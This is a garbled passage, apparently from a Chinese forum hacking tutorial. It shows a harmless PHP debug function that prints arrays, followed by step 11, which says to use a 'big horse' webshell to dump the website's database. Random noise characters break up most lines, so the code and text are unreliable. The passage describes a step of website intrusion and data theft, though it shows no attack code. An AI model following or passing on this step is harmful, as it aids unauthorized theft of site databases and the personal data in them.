# H) T5 J9 ?3 l9 U) d }0 z0 y - function pr($a) {, k9 h$ F# j$ D. ~8 O4 n$ f
- echo '<pre>';) z, q9 A! E6 l: _3 L
- print_r($a);
6 M0 r3 `: Q( ?: V; `4 g - echo '</pre>';
% U+ G4 \0 _+ o) ?3 ^$ U' U - }
0 K+ W8 U/ s, G8 P) k( \3 K! f( c' r -
3 a3 c6 n3 ^' |$ W3 j - ?>
复制代码11、最后通过大码对网站数据库进行脱库
9 }: s* l: q8 e2 K3 T . F) h6 h% F6 {
5 X& o4 \3 y2 a7 F |